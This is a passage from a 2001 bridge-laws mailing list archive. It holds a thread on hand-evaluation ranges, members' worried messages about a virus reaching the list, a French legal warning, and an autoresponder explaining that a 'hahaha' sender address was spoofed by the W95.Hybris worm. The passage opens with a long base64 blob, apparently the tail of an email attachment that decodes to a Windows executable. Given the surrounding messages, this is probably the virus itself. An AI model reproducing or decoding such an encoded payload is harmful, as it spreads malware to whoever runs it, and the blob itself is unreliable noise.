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 DprP79rIOTzBU+LQU/Hwxl3mapCAet2a6OBBcce/7wD+sA2se16kQwlZCIAGp88e/Pv5MCE3Bb0d dm7LEzCoiHTyVvqLe7nu6KKiHI29/oDWVjrHrEVrHYt4rInxFM+6wo8ZVp7EWbpPvHCrwN7iU2QX 7ENNxZb2SefMHgDTfn87yF//NIasbekUM6o6Oe8bEU03tTS4Mj9v9nEyY4o/4vKvtKr5t+O0Zpuz yrAoKYqrUzxdc1Rs3Tlv1YwsdzTFC8po63CbiJoIb7PbX4rlM6TVgW6MX1YJg2le+hTikcIEsTFu ZXdzAgAAAPANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAADhwAAAAAAAAMHAAAAAAAAAAAAAATHAAAABwAAAAAAAAAAAAAAAAAAAAAAAA AAAAADhwAAAAAAAAEQFHZXRNb2R1bGVIYW5kbGVBAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA ----VEA7O9URC1QZKXEJKT27CLY3KLYFSP-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 01:17:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04EGP314241 for bridge-laws-outgoing; Fri, 5 Jan 2001 01:16:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tbd.uunet.be (root@tbd.uunet.be [194.7.1.10]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04EGIt14237 for ; Fri, 5 Jan 2001 01:16:18 +1100 (EST) Received: from village.uunet.be (uu212-190-8-90.unknown.uunet.be [212.190.8.90]) by tbd.uunet.be (8.9.3/8.9.1) with ESMTP id PAA21991 for ; Thu, 4 Jan 2001 15:16:11 +0100 (CET) Message-ID: <3A546493.C3A2CE43@village.uunet.be> Date: Thu, 04 Jan 2001 12:54:59 +0100 From: Herman De Wael X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bridge Laws Subject: Re: [BLML] self-serving ? References: <3.0.32.20010103173639.006a6b20@pullman.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk "N. Scott Cardell" wrote: > > > > >Well if not "shows" then "shows a hand I consider to be worth 12-14 points > >and requires partner to bid as if that is what I hold". > > I heartily concur! A 12 point hand means one worth the same as an average > 12 HCP hand. Even if one restricts that to a precisely average 12 HCP hand > and thus plays 12.0 to 14.0 then any rational bridge player should > recognize A10xx,K10xx,xx,A9x as worth MORE than 12.0 points, where as > QJx,Jxxx,Qxx,KQJ us worth less than 12.0 points. Of course such > evaluations are simply good bridge the range on your cc identifies a range > of strength not simply raw HCP. Contrary to the comments of Herman De Wael > (see "Re: [BLML] Permitted system") using sound bridge judgement to > evaluate your hands does not mean that 12 to 14 needs to be 11.9 to 14 or > some such. In fact I would rate A109x,K109x,xx,A10x as a good about 13.0 > and would happily open it 1NT playing 13-15. > You have misunderstood me, N.Scott, I have never said that it is wrong to use gray points. It is good bridge. But the standard by which a system is deemed illegal should be an easy one. If that standard is 10HCP, then it should follow that it is illegal to open on 9HCP, no matter how many additional features the hand possesses. Otherwise, one is applying a standard of 10-HCP, and this is too hard to define. > In the thread "Re: [BLML] Permitted system" Jean Pierre Rocafort pointed > out that: > > >When you give HCP ranges in the form of 10-12, 13-16 ... , you are using > >a discrete ladder which is only a rough approximation of a sound > >evaluation function which should use a continuous ladder, and might > >allow you to quantify your judgement when it tells you some hand is > >slightly stronger than another one. When you pretend to use the ranges > >7-9, 10-12 and 13-15, it is in fact an over-simplifaction to write down > >the reality which is that the ranges (perforce touching intervals) are > >7.5-9.5, 9.5-12.5, 12.5-15.5. This is why a regulation founded upon an > >imperfect discrete ladder, with "no man's lands" between integer > >numbers, leads to the paradoxes you are struggling with. > > This is certainly true. For example, usually "12 to 14" means 11.5 to 14.5 > or so. That is one would open 1NT with a below average 12 HCP hand such as > AQx,QJxx,J9xx,Qx but might pass without the D9 and definitely would not > open 1NT with an awful 12 HCP hand such as QJx,Jxxx,Qxx,KQJ. Playing this > way one would open a good but not great 11 HCP hand such as > AJ9,K108x,Kx,xxx and a great 10 HCP hand such as AQ109,A1096,xx,109x. (And > one would make similar decisions at the other end of the range.) > > Perhaps it would be best to add to the cc boxes for: > > Tend to upgrade and downgrade raw HCP based on: > Spot cards __, Suit lengths __, Honor combinations __. > (Check all that apply, if you use only raw stupid HCP check here __, then > go take some bridge lessons.) > Very good :-) -- Best wishes for the New Millennium !! Herman DE WAEL Antwerpen Belgium http://www.gallery.uunet.be/hermandw/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 01:18:49 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04EIZ314256 for bridge-laws-outgoing; Fri, 5 Jan 2001 01:18:35 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.pinehurst.net (mail.pinehurst.net [12.4.96.6]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04EITt14252 for ; Fri, 5 Jan 2001 01:18:30 +1100 (EST) Received: from mom (spmax1-52.connectnc.net [63.160.175.116]) by mail.pinehurst.net (8.9.3/8.9.3) with SMTP id JAA43397 for ; Thu, 4 Jan 2001 09:18:25 -0500 (EST) (envelope-from nancy@pinehurst.net) Message-ID: <001c01c07659$aad7a500$74afa03f@mom> Reply-To: "Nancy" From: "Nancy" To: "Bridge Laws" Subject: [BLML] new virus???? Date: Thu, 4 Jan 2001 09:21:43 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0019_01C0762F.C0E5CCC0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0019_01C0762F.C0E5CCC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have just received another email from hahaha entitled "les7 conquis = nains with a blml included in the title. I believe this t be another = virus. How is this person getting the addresses? Nancy ------=_NextPart_000_0019_01C0762F.C0E5CCC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have just received another = email from=20 hahaha entitled "les7 conquis nains with a blml included in the = title.  I=20 believe this t be another virus.  How is this person getting the=20 addresses?   Nancy
------=_NextPart_000_0019_01C0762F.C0E5CCC0-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 01:48:38 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04EmJH14294 for bridge-laws-outgoing; Fri, 5 Jan 2001 01:48:19 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04EmCt14290 for ; Fri, 5 Jan 2001 01:48:13 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id PAA08516; Thu, 4 Jan 2001 15:43:57 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id PAA03577; Thu, 4 Jan 2001 15:48:02 +0100 (MET) for Message-Id: <3.0.6.32.20010104160001.00868920@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) X-Priority: 1 (Highest) Date: Thu, 04 Jan 2001 16:00:01 +0100 To: bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: [BLML] sequel to 'haha' Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f04EmFt14291 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Copy of our response to 'haha''s message. Hope this will be enough. Je suis en devoir de vous signaler que notre association 'RdC' a déposé plainte auprčs de la police de Bruxelles-ville contre vos tentatives d'infection. Si l'un quelconque de nos membres reçoit un autre message de votre part, nous irons devant le tribunal. Pour mémoire, la detruction de données informtiques est passible de prison ferme. Ph. Denayer, secrétaire de RdC (Association pour le Respect du Consommateur) Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 02:22:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04FK8N14363 for bridge-laws-outgoing; Fri, 5 Jan 2001 02:20:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04FK2t14359 for ; Fri, 5 Jan 2001 02:20:02 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id QAA02069; Thu, 4 Jan 2001 16:16:23 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id QAA22085; Thu, 4 Jan 2001 16:18:42 +0100 (MET) for Message-Id: <3.0.6.32.20010104163041.007b0ce0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 04 Jan 2001 16:30:41 +0100 To: bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Autoresponse to your mail, re: [BLML] Les 7 coquir nains Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Received as a response to my threatening message. I don't know what to think of it. If they're honest, it means that someone in our group has been infected, and that everytime he sends a mail to bridge-laws, a message from hahaha is generated. In this case, we'd rather look who sent the previous message, it would let us know who is infected. Date: Thu, 4 Jan 2001 09:46:27 -0500 >From: Auto Responder >Subject: Autoresponse to your mail, re: [BLML] Les 7 coquir nains >X-Mailer: 3o-autoresponder 1.2.1 (Linux/Perl) > >+------------------- >|NOTA BENE: This message is automatically generated; PLEASE DO NOT REPLY. >| Subsequent email with the same reply-to address should not induce >| additional responses from this service. >+--------- > >Hello, > > You are receiving this message because you have sent an email to >hahaha@sexyfun.net to request, complain or notify this user that >they are SPAMMING, sending an email with a virus, sending an email that >has content that may not be appropriate for minors, to be removed from >a mailing list, etc.. > >The truth is: > >1) This user does NOT exist on our system. >2) The email that you got with the From: field of hahaha@sexyfun.net > did NOT come from sexyfun.net or the hosting companies network. > This email address was faked / spoofed. >3) The email you got is in FACT a way for the (W95.Hybris.gen) virus > to spread itself around the world / Internet like the ILOVEYOU > virus of a few months past. >4) If you would look at the Received: header of the email you got, it > will tell you the real IP / Computer name that has sent you this > virus, which is most likely someone you know that is infected with > the virus and is not aware of it. >5) The owner of the domain sexyfun.net and the hosting company has > setup a help page with information about the (W95.Hybris.gen) > virus, links to software that you can use to clean your computer > if you are infected as well as other misc. information. >6) We do NOT maintain any mailing lists on our system. > >NOTE: As long as you don't run / open / double click on the attachment > of this email, this virus should not be able to infect you just > by reading the email. > >Here are links to well known companies of anti-virus products that >will show that what has been said above is true. > >http://www.datafellows.com/v-descs/hybris.htm >http://www.kaspersky.com/news.asp?tnews=0&nview=1&id=134&page=0 > >This is the link to the website we have setup to provide additional >information about this Virus. > >http://www.sexyfun.net/ > >If you have any other questions please contacts us at: > >web@sexyfun.net > >Thanks you for your time. > > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 02:36:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04FZnV14388 for bridge-laws-outgoing; Fri, 5 Jan 2001 02:35:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from flash.naxs.net (flash.naxs.net [216.98.64.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04FZht14384 for ; Fri, 5 Jan 2001 02:35:44 +1100 (EST) Received: from jkuchenhome (as5800-88-81.naxs.com [216.98.88.81]) by flash.naxs.net (8.9.3+Sun/8.9.3) with SMTP id KAA14564 for ; Thu, 4 Jan 2001 10:35:58 -0500 (EST) Message-ID: <002801c07663$ddf90be0$515862d8@jkuchenhome> Reply-To: "John A. Kuchenbrod" From: "John A. Kuchenbrod" To: "Bridge Laws" Subject: Re: [BLML] new virus???? Date: Thu, 4 Jan 2001 10:34:43 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0025_01C07639.F3B1C0A0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0025_01C07639.F3B1C0A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable It's not "this person"--the virus is set up so that hahaha appears to be the sender of the virus. Someone who has blml=20 in their address book has gotten infected, and the longer=20 this virus persists on the list, the more copies we will see.=20 Notice that we already have two copies of the French version. John Kuchenbrod jkuchen@naxs.net -----Original Message----- From: Nancy To: Bridge Laws Date: Thursday, January 04, 2001 10:08 AM Subject: [BLML] new virus???? =20 =20 I have just received another email from hahaha entitled "les7 = conquis nains with a blml included in the title. I believe this t be = another virus. How is this person getting the addresses? Nancy ------=_NextPart_000_0025_01C07639.F3B1C0A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
It's not = "this=20 person"--the virus is set up so that hahaha
appears to be the sender of the = virus.  Someone who has blml
in their address book has gotten infected, and the longer
this virus persists on the list, the more copies we will = see. 
Notice that we already have two copies of the French = version.
 
John Kuchenbrod
jkuchen@naxs.net
-----Original = Message-----
From:=20 Nancy <nancy@pinehurst.net>
To:= =20 Bridge Laws <bridge-laws@rgb.anu.edu.au= >
Date:=20 Thursday, January 04, 2001 10:08 AM
Subject: [BLML] = new=20 virus????

I have just received = another email from=20 hahaha entitled "les7 conquis nains with a blml included in the = title.  I believe this t be another virus.  How is this = person=20 getting the addresses?   = Nancy
------=_NextPart_000_0025_01C07639.F3B1C0A0-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 5 02:53:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f04Fr0D14421 for bridge-laws-outgoing; Fri, 5 Jan 2001 02:53:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from flash.naxs.net (flash.naxs.net [216.98.64.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f04Fqnt14416 for ; Fri, 5 Jan 2001 02:52:50 +1100 (EST) Received: from jkuchenhome (as5800-88-81.naxs.com [216.98.88.81]) by flash.naxs.net (8.9.3+Sun/8.9.3) with SMTP id KAA22877 for ; Thu, 4 Jan 2001 10:53:07 -0500 (EST) Message-ID: <004801c07666$42d57100$515862d8@jkuchenhome> Reply-To: "John A. Kuchenbrod" From: "John A. Kuchenbrod" To: Subject: Re: [BLML] sequel to 'haha' Date: Thu, 4 Jan 2001 10:51:53 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk To whom was this response sent? Some postmaster, I assume? The problem with this virus is that a vast majority of the copies are sent by people who are not aware that they have infected their machines. They just clicked on the attachment, and the virus continues on its merry way through the address book. Very few prison sentences will result from this virus. John Kuchenbrod jkuchen@naxs.net -----Original Message----- From: alain gottcheiner To: bridge-laws@rgb.anu.edu.au Date: Thursday, January 04, 2001 10:41 AM Subject: [BLML] sequel to 'haha' >Copy of our response to 'haha''s message. Hope this will be enough. > >Je suis en devoir de vous signaler que notre association 'RdC' a déposé >plainte auprčs de la police de Bruxelles-ville contre vos tentatives >d'infection. Si l'un quelconque de nos membres reçoit un autre message de >votre part, nous irons devant le tribunal. > >Pour mémoire, la detruction de données informtiques est passible de prison >ferme. > > Ph. Denayer, secrétaire de RdC (Association pour le Respect du Consommateur) > > Alain. > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at 